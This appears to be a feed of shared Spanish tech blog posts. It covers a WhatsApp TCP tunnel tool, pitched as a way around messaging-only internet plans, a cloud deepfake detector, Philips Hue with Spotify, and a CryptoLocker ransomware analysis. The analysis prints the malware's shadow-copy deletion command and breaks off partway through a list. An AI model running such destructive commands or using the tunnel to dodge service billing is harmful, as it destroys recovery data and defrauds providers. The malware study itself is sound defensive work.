Shared posts

14 May 05:11

wa-tunnel: túnel TCP sobre Whatsapp

by Vicente Motos

El otro día en pleno vuelo de una compañía que no voy a nombrar, vi que a bordo ofrecían servicio de Internet en dos modalidades/precios: navegación normal o navegación sólo para servicios de mensajería instantánea como WhatsApp. Por otro lado, también existen muchos operadores de telefonía e Internet que tiene tarifas sin límite de GBs para WhatsApp... ¿y si hiciéramos un túnel a través de WhatsApp para aprovecharnos de ésto? Siempre con motivos académicos por supuesto...

Pues desde Andorra Aleix Rodríguez nos ofrece una herramienta para llevarlo a cabo: wa-tunnel, una herramienta basada en Baileys que nos permitirá hacer un túnel TCP a través de dos cuentas de Whatsapp.

Dependiendo de la cantidad de caracteres necesarios, dividirá la comunicación en diferentes mensajes de texto o archivos. Para que WhatsApp no agote el tiempo de espera, por defecto está limitado a 20k caracteres por mensaje (actualmente está configurado en wasocket.js). Si un paquete de red supera el límite (los 20k caracteres), se enviará como un archivo si está habilitada la opción. Además, si se almacenan en caché varios paquetes de red, utilizará los mismos criterios.

Los mensajes de archivo se envían como archivos binarios, las respuestas de TCP se concatenan con un delimitador y se comprimen con brotli para reducir el uso de datos.

También almacena en caché las respuestas del socket TCP para agruparlas y enviar la máxima cantidad de datos en un mensaje, por lo tanto, reduce la cantidad de mensajes, mejora la velocidad y reduce la probabilidad de ser baneado.

Instalación

Debemos tener acceso a dos cuentas de Whatsapp, una para el servidor y otra para el cliente. Podemos reenviar un puerto local o usar un proxy externo.

Lado del servidor

Clona el repositorio en tu servidor e instala las dependencias de los nodos.

    cd path/to/wa-tunnel
    npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde el puerto es el puerto proxy y el host es el host proxy que desea reenviar. Y número es el número de WhatsApp del cliente con el código del país todo junto y sin +.    
npm run server host port number

Ej. npm run server 192.168.0.1 3128 12345678901

Lado del cliente

Clona el repositorio en tu servidor e instala las dependencias de los nodos.
    cd path/to/wa-tunnel
    npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde puerto es el puerto local donde se conectará y el número es el número de WhatsApp del servidor con el código de país en conjunto y sin +.    
npm run client port number

Ej. npm run client 8080 1234567890

Uso

La primera vez que abramos el script, el Baileys nos pedirá que escaneemos el código QR con la aplicación de WhatsApp, después de eso, la sesión se guardará para su uso posterior.

Si falla (suele ser normal) simplemente hay que reiniciar el script y tendremos nuestro cliente/servidor listo.

Una vez que tengamos el cliente y el servidor listos, podemos probar usando curl y ver cómo sucede la magia.
curl -v -x localhost:8080 https://httpbin.org/ip

Ha sido probado también con un navegador normal como Firefox, es lento pero se puede usar.

También podemos reenviar otros puertos de protocolos como SSH configurando el servidor de esta manera:
npm run server localhost 22 12345678901

Y luego conectarse al servidor usando en el cliente:
ssh root@localhost -p 8080

Uso en Android

Para usarlo en Android, podemos hacerlo con Termux usando los siguientes comandos:
pkg update && pkg upgrade
pkg install git nodejs -y
git clone https://github.com/aleixrodriala/wa-tunnel.git
cd wa-tunnel
npm install

Proyecto: https://github.com/aleixrodriala/wa-tunnel

04 Nov 19:45

Un DeepFake Detector escalable e integrado con FOCA

by noreply@blogger.com (Chema Alonso)
Actualmente, estamos inmersos en un mundo donde las Fake News están muy presentes. Cada vez tenemos que ser más cautos con el contenido que vemos en Internet y, en muchos casos, ser capaces de saber si la información que tenemos entre manos es verdad o no. Sin embargo, las Fake News y la desinformación no se centran únicamente en noticias escritas. Un campo muy peligroso lo encontramos dentro de los Deepfakes, utilizadas como elemento clave en la creación de Fake News realistas

Figura 1: Un DeepFake Detector escalable e integrado con FOCA

El término DeepFake se acuñó en el año 2017 cuando un usuario de la conocida plataforma Redit comenzó a publicar vídeos de carácter pornográfico en el que intercambiaba la cara de los actores originales por el de famosos mediante técnicas de Deep Learning. Hoy en día, este término no se centra únicamente en aspectos relativos a manipular vídeos e imágenes para intercambiar el rostro o la voz, sino que puede hacer referencia a la creación de personas que no existen o cualquier tratamiento que afecta a la identidad de las personas. Algunos ejemplos llamativos los encontramos en este enlace. Por ejemplo, tenemos este ejemplo de un vídeo donde se ha sustituido el rostro de Jeniffer Lawrence por el de Steve Buscemi u otro de Stark Trek donde aparecen Jeff Bezos y Elon Musk.

Figura 2: Ejemplo de la cara de la actriz de Star Wars en el cuerpo de una actriz porno

Las técnicas de Deepfakes pueden aplicarse en una gran cantidad de campos, como se puede ver también en el artículo de BladeRunners & Virtual Replicants. Por ejemplo, en el ámbito cinematográfico, donde se pueden recrear Flashbacks de una manera más sencilla. Se pueden rejuvenecer a actores e incluso se pueden revivir a actores que desgraciadamente han fallecido y no han podido acabar el rodaje de películas. Ejemplos los encontramos en superproducciones como Los juegos del hambre o Fast & Fourious. En el ámbito del del marketing y la publicidad se pueden crear personas ficticias que sean imágenes de campañas publicitarias. 

También es posible contratar a un actor pero que no grabe propiamente el vídeo sino que aporte su imagen y mediante técnicas de Deepfakes hacer como si lo protagonizara. De hecho, ya hay ofertas de trabajo para ser modelo de Deepfakes. En las videoconferencias en diferentes idiomas se puede ir modificando el movimiento de la boca para que, junto con técnicas de NLP para llevar a cabo traducciones, dé la sensación de estar ambas personas en el mismo idioma.

Figura 3: DeepFake de película SOLO para poner a Han Solo de joven

Sin embargo, son herramientas que pueden llegar a ser bastante nocivas, especialmente en el ámbito de la desinformación como hemos mencionado al principio del artículo. Se pueden crear vídeos de políticos haciendo determinadas afirmaciones que pueden llegar a causar conflictos y muchas preocupaciones entre los ciudadanos. También, son bastante propicias las extorsiones, especialmente creando vídeos de carácter pornográfico, con el fin de obtener alguna recompensa económica o dañar la imagen de la persona afectada. 

No hay que olvidar tampoco los problemas éticos que esto puede ocasionar. Nos podemos hacer preguntas como: ¿está bien traer a la vida a una persona conocida para una campaña publicitaria? o ¿qué tipo de contenido se puede generar para que no sea considerado un delito? Por último, es importante destacar la facilidad de acceso a técnicas y recursos para crear este contenido, lo que aumenta la cantidad de contenido falso a la que podemos estar expuesto. 

Figura 4: Noticias de DeepFakes

Este hecho unido a la velocidad en la que se propaga el contenido en redes sociales hace que tengamos que estar más alerta. Hay muchos cuaderno de Google Colaboratory que guían en todo el proceso. Pero no es necesario tener grandes conocimientos, existen aplicaciones gratuitas en los teléfonos móviles que permiten crearlos de una manera muy rápida y sencilla.

Centrándonos en los ámbitos de manipulación, nos encontramos con cuatro ámbitos diferentes de actuación, aunque en el ámbito de la desinformación destacan los tres primeros ya que son los más propicios a generar noticias falsas.
  • Síntesis de rostros: para generar rostros de personas que no existen.
  • Intercambio de la identidad: tomar una imagen/fotograma base y sustituir el rostro que aparece por otro.
  • Intercambio de la expresión: la persona que aparece en la imagen base y objetivo es la misma pero su expresión (enfadado, triste, alegre...) en función de la objetivo.
  • Manipulación de atributos: para añadir elementos como pelo, gafas, barba...
Para la síntesis de rostros de rostros se utilizan sobre todo redes generativas adversarias (GANs). Las principales arquitecturas son la red ProGAN y StyleGAN (en su versión 1 y 2) que nos pueden aportar muy buenos resultados. De hecho, los resultados son tan buenos que muchas es muy complicado poder detectarlo. Para este fin, se han empleado técnicas de que detectan el rango de color ya que es diferente el que aportan las cámaras gráficas a las técnicas de generación o mecanismos de estogoanálisis. Destaca una propuesta de Facebook que utiliza las huellas o marcas que dejan los diferentes algoritmos de generación de la imágenes.

En cuanto a las técnicas de intercambio de rostros y expresión utilizan técnicas muy parecidas entre sí. Por un lado, procesos gráficos en los que se seleccionan unos puntos clave en la imagen base y la objetivo y luego se fusionan y por otro lado técnicas propias de aprendizaje profundo utilizando redes neuronales. Un estudio más detallado se puede encontrar en este enlace. A diferencia de la síntesis de rostros, su detección es más fácil ya que los resultados presentan una serie de artifacts o defectos más visibles: contenido borroso, facciones duplicadas, poco detalle.. 

Entre las principales propuestas encontramos el conocido artículo de FaceForensics++. Este artículo es importante sobre todo porque aporta un conjunto de datos con vídeos en diferentes calidades y manipulados mediante diferentes técnicas para poder entrenar redes neuronales y mejorar los mecanismos actuales de detección. De hecho, en este artículo también se encuentra una propuesta de red entrenada bajo ese conjunto de datos que aporta muy buenos resultados. 

Para este caso concreto hemos hecho el desarrollo de un sistema en la nube que ofrece una API para poder enviar contenido y analizar si se trata de un Deepfake o es real. mecanismos actuales de detección. De hecho, con una propuesta de red entrenada bajo ese conjunto de datos que aporta muy buenos resultados. 

GCP para albergar un sistema de detección de deepfakes

Una vez descritas qué son los Deepfakes, las ventajas y desventajas que presentan así como una leve pincelada sobre los mecanismos de generación y detección empleando sobre todo técnicas de Deep learning, vamos a llevar a cabo la explicación de un sistema que se ha creado para poder llevar a cabo el análisis de Deepfakes. Este sistema se ha desarrollado como TFM para la titulación del Máster en Ingeniería Informática de la Universidad de Granada

Figura 5: GitHub con el código del DeepFake Detector del TFM

Se ha desarrollado también bajo la supervisión del equipo de Ideas Locas de Teléfonica por lo que, dentro del trabajo, se ha desarrollo una extensión para el programa FOCA que hace uso de la API creada. Esta extensión la explicaremos con mayor detalle en la siguiente sección. Por ahora, nos vamos a centrar en la arquitectura desarrollada en el sistema. Todo el código se encuentra en este repositorio de GitHub

Este sistema se basa en dos pilares fundamentales: Inteligencia Artificial y Cloud Computing. La primera de ellas, como he visto, abarca los algoritmos para detectar el contenido falso. De la segunda, aprovechamos las facilidades que ofrece relativas a infraestructura, potencia, disponibilidad de acceso, etcétera. Para el desarrollo a nivel de TFM se ha utilizado como proveedor de servicios a Google mediante la plataforma Google Cloud Platform. Sin embargo, como veremos, todas las funcionalidades se han encapsulado en un contenedor, por lo que llevarlo de un sistema a otro es relativamente sencillo.

Al ser sistema diseñado para ejecutarse en la nube, se ha seguido una aproximación Cloud Native para aprovechar todas la ventajas que nos ofrece el Cloud Computing:
  • Microservicios: Los diferentes algoritmos o funcionalidades se han implementado en microservicios distintos, lo que favorece el desarrollo independiente de los mismos evitando el solapamiento lo máximo posible. De este modo, se pueden utilizar diferentes lenguajes de programación, incluir mejoras sin afectar al resto de funcionalidades o realizar cambios. Además se pueden incluir otros algoritmos con unas pequeñas modificaciones sin afectar al resto. La comunicación entre los diferentes microservicios se realiza mediante llamadas HTTP.
  • Contenedores: cada microservicio es un contenedor (almacenado en Google Container Registry) definido en Dockerfile donde se encapsula el código con las dependencias del mismo lo que facilita su despliegue en diferentes ámbitos e incluso usarlo como entorno de test. Los Dockerfiles se encuentran dentro de las carpetas correspondientes a cada funcionalidad y que son accesibles fácilmente desde el README del repositorio.
  • CI/CD: para la integración y despliegue continuo se ha usado la herramienta de Google Cloud Build. De este modo, hay definidos una serie de tests que deben pasar cada uno de los microservicios se despliegue ya que de este modo se asegura el correcto funcionamiento del mismo. Este es el archivo con la definición del flujo de pruebas creado. A nivel general, para cada uno lo que se hacemos es descargar el contenedor correspondiente de GCR creado previamente, llevar a a cabo los nuevos tests (solo nos hacen falta las dependencias ya que el código nuevo se monta como volumen), usamos la caché para acelerar el proceso e incluir el nuevo código y finalmente desplegar el servicio.
  • DevOps: gracias a esta división de las funcionalidades, se hace más sencillo y rápido el proceso de la inclusión de mejoras, corrección de errores, etcétera. En los issues (cerrados) del repositorio podemos ver todo el proceso de desarrollo del trabajo.
Finalmente, ha sido importante el uso de sistemas sin servidor, conocido como Serverless. En nuestro caso, no necesitamos que los algoritmos se estén ejecutando continuamente, sino que una vez reciben de una petición, solo necesitan hacer los cálculos y devolver el resultado. Las ejecuciones son independientes unas de otras por lo que no necesitan mantener un estado global. En caso de querer almacenar información, podemos utilizar un servicio denominado caché y que explicaremos a continuación. En esta ocasión, hemos aprovechado los servicios de Google Cloud Run para ejecutar los algoritmos y de Google Functions para integrar los resultados del despliegue en el README del repositorio.

Figura 6: Arquitectura del sistema para detección de DeepFakes

Una vez vista la parte teórica del trabajo, pasamos a explicar los algoritmos incluidos y que sirven para detectar Deepfakes. Notamos que en el TFM no se ha llevado a cabo la implementación de dichos algoritmos sino que se han adaptado algunas ya propuestas. Además, toda la arquitectura del sistema junto con las relaciones de los mimos ser muestra en la siguiente figura.
  • api: ofrece la API de entrada al sistema y está desarrollada en Golang utilizando Gin como Web Framework. Su principal cometido es redirigir las peticiones de entrada a los diferentes algoritmos (se han implementado 4 algoritmos en total) con el objetivo de tener un único endpoint. También lleva un control de las peticiones por usuario haciendo uso de la caché. La definición completa de la API la podemos encontrar aquí aunque exploraremos las entradas de cada algoritmo más adelante.
  • faceforensics: para el análisis de vídeos se puede utilizar una red neuronal entrenada con el conjunto de datos de Faceforensics++. Se ha empleado como base la implementación de HonggLiu. Este algoritmo junto al resto, están desarrollados en Python, usando Flask como servidor HTTP. Para enviar un vídeo, se debe indicar la URL del vídeo que debe de estar subido a la plataforma Youtube.
  • kerasioimg: este servicio se encarga de análisis de imágenes. Sin embargo, el modelo para llevar a cabo la predicción lo puede entrenar el propio usuario. Esto es así ya que un parámetro de entrada es la dirección del modelo que se debe descargar y que debe de estar almacenado en la plataforma TensorflowHub. Este modelo debe seguir la versión 2 siguiendo el ejemplo de este modelo (entrenado para otros propósitos) ya subido a la plataforma. Además, se puede obtener una imagen siguiendo el algoritmo LIME con aquellas zonas de la imagen que han podido llevar al modelo a tomar una decisión u otra.
  • kerasio: este último modelo es para análisis de vídeos. Notamos que todavía no es funcional para llevar a cabo las predicciones de deepfakes al faltar el entrenamiento de la red para este problema en específico. Sin embargo, al englobarse dentro de un TFM se ha incluido para mostrar la versatilidad del sistema y por ser una propuesta muy interesante a explotar en el futuro. Utiliza una red neuronal con una parte recurrente para detectar las inconsistencias temporales de los vídeos ya que los fotogramas se suelen generar de manera independiente, lo que da lugar a incongruencias entre los mismos.
También se han implementado dos interfaces de usuario que hacen uso de la API, una en forma de extensión para FOCA que veremos en la siguiente entrada y una aplicación web para poder acceder al sistema desde cualquier navegador web, que se ha creado una web mediante React. En ella encontramos una página de inicio con una introducción a los Deepfakes y a los diferentes algoritmos que se pueden utilizar. Esta es una versión simplificada de los formularios por lo que no están disponibles todas las opciones.


Por último hemos creado un servicio caché que utiliza las funcionalidades de Google Firebase que nos proporciona una base de datos en tiempo real que la utilizamos para almacenar las peticiones por usuario y los resultados de algunas ejecuciones (almacenando el valor hash de cada archivo) para aliviar la carga del sistema. En el próximo articulo de mañana veremos la utilidad real del mismo viendo cómo usar el plugin para FOCA y donde exploraremos todas las posibilidades que ofrece.

Saludos

Autor: Pedro Flores
13 Sep 14:16

Ahora puedes escuchar tu música con luces sincronizadas gracias a Philips Hue y Spotify

by Jonathan Munizaga

Ver la nota original: Ahora puedes escuchar tu música con luces sincronizadas gracias a Philips Hue y Spotify

¿Quién no ha querido tener su propia discoteque en su casa o tener la sensación de estar en un concierto? Pues ahora podrás tenerlo con la ayuda de Philips y de Spotify.

Si tienes las famosas luces inteligentes Philips Hue junto con su respectivo Philips Hue Bridge, pues ahora podrás hacer que las luces vayan al ritmo de la música que pongas en Spotify.

Esta nueva e inesperada alianza permitirá que la aplicación Philips Hue pueda tener acceso a los metadatos de las canciones de Spotify y así tener unos milisegundos de ventaja para poder enviar su respectiva señal a las luces inteligentes, para que la así la sincronización sea perfecta.

Hay otros métodos para hacer lo mismo, pero requieren del micrófono del smartphone para detectar el ritmo de la música, un proceso que causa lag en la sincronización, dejando harto que desear.

La buena noticia es que todos los usuarios de Spotify podrán acceder a esta nueva función, y en el caso de los usuarios de Spotify Free (servicio gratuito), en el momento cuando se reproduce la publicidad, las luces mostrarán un patrón por defecto y retomará la sincronización cuando comience tu música nuevamente.

Esta llamativa función ha estado en fase beta durante unas semanas y se espera que para octubre se libere para todos los usuarios. Sin embargo, a partir de hoy 1 de septiembre, podrás tener “acceso anticipado” siguiendo las instrucciones disponibles aquí.

Vía Philips Hue

Ver la nota original: Ahora puedes escuchar tu música con luces sincronizadas gracias a Philips Hue y Spotify
Pisapapeles

18 Jun 16:28

Análisis de un Ransomware de Cifrado

by Contribuciones
Ilustración gracias a la cortesía de Alejandro Cuenca. Haga clic sobre la imagen para ampliar
Ilustración gracias a la cortesía de Alejandro Cuenca. Haga clic sobre la imagen para ampliar.

El Ransomware es una amenaza digital que está en pleno apogeo, causando estragos por todo el mundo.

En Agosto de 2014 se dio a conocer un portal: https://www.decryptcryptolocker.com/ puesto a disposición del público gracias a investigadores de compañías de seguridad como Fox-IT y FireEye, donde se podían recuperar los datos cifrados por CryptoLocker, tal y como podemos leer en la siguiente noticia de la BBC:
http://www.bbc.com/news/technology-28661463

La información obtenida de la operación llevada a cabo por los investigadores dio a conocer que, en menos de un año, estos ciber-criminales habían llegado a infectar a unos 500.000 usuarios con esta variante de ransomware, siendo aproximadamente el 1,3% de los afectados los que habrían pagado los 400$ (USD) solicitados como rescate, para recuperar los ficheros cifrados. Se estimaron sus beneficios por ese periodo y para esa única variante, unos 3 millones de dólares estadounidenses.
Por su parte Dell Secure Works, publicaría la distribución geográfica de las direcciones IPs afectadas por CryptoLocker entre Octubre y Noviembre de 2013:
Figure 14. Global distribution of CryptoLocker infections between October 22 and November 1, 2013. (Source: Dell SecureWorks)
Imagen gracias a Dell SecureWorks

Pretendemos con la presente publicación dar a conocer el funcionamiento de estas amenazas, al menos en términos básicos, analizando su comportamiento durante una infección, y dando a conocer los mecanismos de análisis utilizados que podrán ser empleados por otros investigadores o analistas de malware.

¿Qué es el RansomWare?

Nos apoyaremos en la definición que da el NIST en su informe sobre el malware de Junio de 2011:

The use of malware to block access to computers or data until a payment is made, also continues to be used for extortion purposes

Que con nuestras palabras podríamos describir como un software (o aplicación informática) diseñado con fines maliciosos (es decir, un: malware), que bloquea el acceso a equipos informáticos o a los datos, hasta que se recibe un pago que se solicita como rescate.

En el caso de los conocidos como ransomware de cifrado, la estrategia utilizada por los criminales es la de cifrar la información a la que tiene acceso los equipos infectados (incluyendo unidades de disco duro, medios extraíbles que estén conectados en el momento de la infección, o carpetas de red (o en la nube) accesibles, impidiendo el uso de un software antimalware o antivirus tradicional sea neficaz, al permitirnos estos, eliminar la amenaza en sí, pero no recuperar los datos una vez ya han sido cifrados.

Objeto del Análisis

Trabajaremos con una muestra de CryptoLocker que es sin duda uno de los ransomware de cifrado más comunes, identificada por las siguientes huellas de ficheros:

  • SHA-256: 0ef1fefdf99474e0a322c0f64b501934ebd2e910dd36fdca46ddf87470a5d7ec
  • MD5: f76e1d7abc6e97ac38443928fcd9b0a2

Hallazgos


Vías de Infección

Las vías de infección más comunes incluyen los correos electrónicos basura (SPAM), habitualmente utilizando en ellos engaños (técnicas de ingeniería social) como entregas de cartas de Correos, paquetes, envío de facturas y albaranes falsos, etc., y también se hace despliegue de este malware por otras vías, como la descarga de antivirus/antimalware , drivers, actualizaciones, anuncios... falsos y la instalación sobre equipos de botnets, afectados por malware como Zeus.

En muchas ocasiones la distribución de software falso como el comentado se produce en páginas de descargas ilegales, contenido multimedia protegido (como películas y series), pornografía, blogs personales infectados, y otros.

Mecanismos de Evasión y Ocultación

Este malware consulta el estado de diversas herramientas de protección como antivirus y antimalware conocidos, tratando de desactivar las mismas en el registro en caso de encontrarlas y parando sus procesos correspondientes.

El binario se ha creado utilizando algún mecanismo de ocultación de parte de su información como los nombres de dominios a los que tratará de conectar, extensiones de ficheros a los que debe afectar y otros.

Cifrado de los datos

La muestra de CryptoLocker analizada es capaz de cifrar todo fichero accesible desde el ordenador que se infecta y sobre el que tenga privilegios de escritura, afectando al menos a 180 extensiones de ficheros conocidas, incluyendo: documentos ofimáticos, archivos comprimidos, multimedia, etc.
En cada carpeta afectada creará un fichero de texto con las instrucciones para la recuperación de los datos, mediante pago del rescate.

Estimamos que se utiliza cifrado simétrico AES-CBC. El vector de inicialización que requiere este tipo de cifrado, variará cada vez y pensamos está incluido en los primeros 16 bytes del fichero cifrado. Creemos que el cifrado RSA de 2048 bits, se utiliza para cifrar la clave de cifrado de AES-CBC que creemos que podría estar almacenada en el fichero key.dat.

Al infectar al equipo genera un fichero cuya ruta completa será: %APPDATA%\key.dat que borrará una vez termine de cifrar los datos. Presumiblemente está relacionado de alguna manera con la clave, además de otros datos del usuario, como veremos más aadelante.

Se producen varias comunicaciones al sistema de control a un total de cuatro dominios diferentes, entre ellas, primero registrará al equipo enviando información sobre éste (Sistema Operativo, Arquitectura, etc.) y luego indicar, una vez terminado el proceso de cifrado, que ese equipo se encuentra cifrado indicando el número de ficheros que ha logrado afectar, todas estas comunicaciones se llevan a cabo utilizando protocolo HTTP (sin cifrar) y pasando parámetros mediante métodos GET (estos se incluyen en la URL), codificados en Base 64.

Otros Daños

Este RansomWare tratará de eliminar, si cuenta con los privilegios suficientes, las Shadow Copies del sistema para dificultar la recuperación de los datos.

También, cambiará el fondo de pantalla por uno propio incluyendo las instrucciones de recuperación -mediante pago de rescate- de los datos.

Métodos de Defensa

Ilustración gracias a la cortesía de Alejandro Cuenca. Haga clic sobre la imagen para ampliar

  • El principal método pasa por contar con una correcta copia de seguridad de los datos, en dispositivos no accesibles por el equipo (por ejemplo, una unidad externa). Ya que esté será nuestro único medio seguro de recuperación en el caso de que se produzca una infección por un ransomware de cifrado.
  • Es posible, una vez detectados los dominios que utiliza un ransomware de cifrado, establecer mecanismos de defensa, impidiendo la navegación a estos sitios (por ejemplo en proxys corporativos) y/o la notificación en caso de intento de acceso, para poder localizar los equipos infectados y los posibles intentos de comunicación por si incluyeran detalles como la clave de cifrado. Esta es la estrategia empleada en la técnica denominada: DNS Sink Holes que impide el acceso a los sistemas de control (habitualmente conocidos como Command & Control (C&C), del inglés).
  • También, el comportamiento sobre los ficheros en disco o el registro, podría ser detectado, por ejemplo mediante trampas (honeypots, o tarros de miel, del inglés), como hacen herramientas como Anti Ransom o detectando el comportamiento (uso de cifrado por ejemplo), como en el caso de: Crypto Monitor
  • Limitar los privilegios de los usuarios a los mínimos imprescindibles tanto en su sistema como carpetas compartidas, que es una buena práctica de seguridad en general, también puede ayudarnos a reducir los daños producidos por este tipo de amenazas y otras.
  • Detección temprana: creemos que pueden ser útiles sistemas trampas (honeypots), ya que junto con sistemas de análisis (automáticos o manuales), podrían ayudarnos a detectar nuevas amenazas antes de que estás sean ampliamente conocidas (*momento en el cual también somos más vulnerables ya que menos sistemas de anti-virus serán capaces de detectarlas.)

Método de investigación

Para llegar a las conclusiones aquí presentadas llevamos a cabo los siguientes análisis sobre la muestra de RansomWare mencionada:
  • Estudio de las vías de infección: analizando los estudios publicados sobre muestras similares de RansomWare y consultando al Instituto Nacional de CiberSeguridad (INCIBE).
  • Análisis automático en virustotal: utilizando su servicio web y revisando la información referente a la muestra sobre la que trabajaremos, para tener una primera opinión sobre con qué estamos trabajando.
  • Análisis estático, lo que implica analizar la muestra sin ejecutarla ni revisar su comportamiento en ejecución, incluyendo: Revisión de las cabeceras PE (Portable Executable).
    • Análisis de packers.
    • Extracción de recursos: incrustados dentro del ejecutable, como pueden ser el icono del fichero, imágenes, etc.
    • Extracción de cadenas de texto.
  • Análisis dinámico, que sí implica la ejecución del malware en un entorno de pruebas controlado (parte del laboratorio de pruebas utilizado), incluyendo:
    • Revisión de procesos generados por el malware.
    • Análisis de modificaciones sobre el registro del sistema.
    • Búsqueda de rootkits
    • Análisis de red, que también implica la ejecución controlada de la muestra, incluyendo:
    • Análisis del tráfico generado por una máquina infectada.
    • Resolución de nombres (DNS ).
    • Peticiones HTTP (Web).
  • Análisis automático en sandbox, utilizando cuckoo sandbox , que es un estándar en el análisis de malware. Incluyendo:
    • Ejecución en sandbox de las muestras y análisis automático.
    • Revisión de los aspectos encontrados.
    • Comparación de dichos resultados con los observados mediante nuestras pruebas manuales en busca de posibles anomalías, incongruencias o detalles omitidos.
  • Esquema del proceso de análisis.
    Esquema del proceso de análisis.

Laboratorio de pruebas


  • STYX: Ubuntu server 14.04 , utilizado principalmente para controlar y registrar el tráfico de red de la máquina winbox (de la que hablaremos a continuación). La base de este sistema se tomó de los recursos incluidos en los Training Resources
de ENISA (European Union Network and Information Security Agency).






  • winbox: Microsoft Windows 7, también su base parte de los recursos mencionados de ENISA. Sobre ella crearemos dos instantáneas (o snapshots):
    • Winbox-clean: imagen que cuenta con las herramientas de análisis estático
    • Winbox-cuckoo: imagen que cuenta con la configuración adecuada para ser utilizada mediante cuckoo-sandbox.

  • Análisis en VirusTotal

    Lo primero que nos indica el servicio si subimos la muestra, o bien, solicitamos buscar por su MD5 o SHA, es que esta muestra que ya ha sido analizada previamente en el sistema, como podemos ver en la siguiente captura:
    Resultado de análisis en virustotal
    Resultado de análisis en virustotal.

    También podemos comprobar como 35 de los 55 sistemas de detección, es decir un total aproximado del 63% de los empleados, fueron capaces de determinar que este binario era una amenaza. Solicitando el último análisis que realizó el sistema sobre esta muestra, encontramos:
    Resultado de virustotal
    Resultado de virustotal

    Indica que la reputación es la mínima posible (-100, siendo la escala de -100 –menos confiable- a 100 –altamente confiable-) y que el último análisis que se realizó fue hace algo más de una semana con una muestra llamada “evracpy.exe”.

    A continuación se nos presenta la información de qué sistemas son capaces de detectarlo y cómo se llama, dentro de ese sistema anti-malware, a dicha amenaza. El siguiente es un extracto de la detección por parte de algunos de los motores de antivirus, de los que dispone VirusTotal:
    Muestra parcial de los motores que detectan la amenaza en virustotal.

    Análisis estático


    Análisis de las cabeceras del binario

    Partimos de la información del ejecutable, mediante un análisis de las cabeceras PE y posible uso de empaquetadores (packers).
    Resultado de análisis en PEiD
    Resultado de análisis en PEiD

    PEiD nos muestra la información del tipo de binario (Win32 GUI), y la información de posibles packers. Observamos que indica que no se han utilizado packer.

    Contrastamos este resultado ExeInfoPE el cual, con su análisis avanzado nos muestra, como más probable (mayor puntuación), el que se haya utilizado "Morphine v1.2 (DLL)".
    Análisis avanzado del binario en ExeInfoPE
    Análisis avanzado del binario en ExeInfoPE

    Un empaquetado de este tipo implica ocultar la información del binario con cifrado (descifrándose en ejecución), existen trabajos para tratar de descifrar este tipo de binarios con depuradores (debuggers del inglés), que dejamos como vía para posibles trabajos futuros, como el siguiente:

    Polymorphic Crypter - Morphine 2.7 by Holy_Father

    Análisis de los recursos del binario

    Empleando el extractor de recursos Resource Hacker, encontramos únicamente el icono del binario:
    Información obtenida con Resource Hacker
    Información obtenida con Resource Hacker.

    Extracción de cadenas de texto

    A continuación revisamos las cadenas de texto incluidas dentro del binario, para ello empleamos binText.

    Tratamos de encontrar nombres de dominios, rutas a ficheros en disco, peticiones http y cadenas de texto que puedan ser sospechosas de la actividad del malware analizado, con resultado negativo.
    Entendemos que puede utilizar algún tipo de ofuscación, codificado o cifrado para ocultar dicha información dentro del binario.

    Análisis dinámico

    Como punto de partida, preparamos, nuestro laboratorio para poder trabajar con la máquina virtual winbox, en un entorno totalmente aislado (sólo podrá comunicarse con nuestra máquina styx, configurada para simular los servicios de Internet).

    Subimos la muestra a analizar a la máquina winbox y preparamos tanto Process Explorer, Process Monitor y RegShot, para trabajar.

    En este punto creamos una nueva instantánea, de manera que podamos hacer repetible el análisis desde el mismo punto, de manera sencilla.

    Ejecutamos la muestra y observamos que se cierra Process Explorer, táctica que utiliza mucho malware, para complicar el análisis o la detección de las amenazas.
    Tras unos segundos, se nos muestra la ventana indicándonos de que se han cifrado los datos de nuestro equipo, presentando la siguiente pantalla:
    Pantalla de Cryptolocker
    Pantalla de Cryptolocker

    Procesos Generados

    Mediante Process Monitor, podemos ver los procesos creados desde la ejecución del malware hasta que paramos la detección de eventos (pasados dos minutos). La siguiente captura muestra una parte de dichos procesos:
    Captura parcial de Process Monitor
    Captura parcial de Process Monitor.

    Observamos la lectura de numerosas entradas del Registro, entre otras:
    • Búsqueda de sistemas anti-virus/anti-malware instalados, intento de desactivación de estos.
    • Estado del Cortafuegos de Windows.
    • Servicio Terminal Services y su configuración.
    • Configuración de RPC.
    • Configuración Regional y de idioma (variables locale).
    La siguiente captura incluye algunos de estos procesos lanzados:
    Algunos procesos generados por el malware, capturados en Process Monitor.
    Algunos procesos generados por el malware, capturados en Process Monitor.

    Aplicando diferentes filtros, analizamos el comportamiento del ransomware en ejecución en cuanto a:

    • Apertura/Creación/Cierre de ficheros en disco.
    • Escritura en archivos de disco.
    • Conexiones de red.

    Entre los aspectos observados, podemos ver cómo se genera un archivo ejecutable llamado: "megdkmu.exe" (sucesivas ejecuciones veremos que el nombre va variando, aunque se mantiene el formato de siete caracteres y extensión ".exe"), en la ruta: "C:\Users\IEUser\AppData\Roaming\megdkmu.exe"A partir de ese momento, será este proceso el que se ejecute en memoria y continúe con la actividad del ransomware:

    • Generando un fichero: key.dat, en C:\Users\IEUser\AppData\Roaming\key.dat, y seguidamente ejecutando su proceso de cifrado de los ficheros de usuario:
      • Listando primero los directorios y subdirectorios y sus ficheros contenidos.
      • Cifrando (en caso de disponer de privilegios suficientes) los ficheros encontrados, dependiendo de su extensión y otros criterios establecidos en el software como el tamaño.
      • Eliminando, para finalizar, el fichero key.dat.
    También localizamos, dentro del árbol de procesos, un proceso hijo creado para eliminar las Shadow Copies de Microsoft, mediante la siguiente orden:

    "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet



    Y también un subproceso de la consola del sistema Windows (cmd.exe), donde se solicita eliminar el fichero 0EF1FE~1.EXE (es decir, el propio ejecutable del malware), mediante el siguiente comando:

    "C:\Windows\system32\cmd.exe" /c del C:\Users\IEUser\Desktop\0EF1FE~1.EXE >> NUL

    Ficheros afectados

    Para analizar qué tipo de ficheros son el objetivo de este malware, creamos un total de 185 ficheros trampa, cada uno con una extensión dentro de las que son habituales para este tipo de ransomware.
    A continuación ejecutamos la muestra y observamos cuáles de ellos ha cifrado, en total, 180 como podemos observar en la siguiente captura de pantalla:
    Captura parcial de ficheros trampa cifrados.
    Captura parcial de ficheros trampa cifrados.

    Las siguientes son extensiones que se ha podido confirmar que este malware puede secuestrar (cifrar):
    .7Z .DMP .KDC .PDD .SLM .3FR .DNG .KF .PDF .SNX
    .ACCDB .DOC .LAYOUT .PEF .SR2 .AI .DOCM .LBF .PEM .SRF
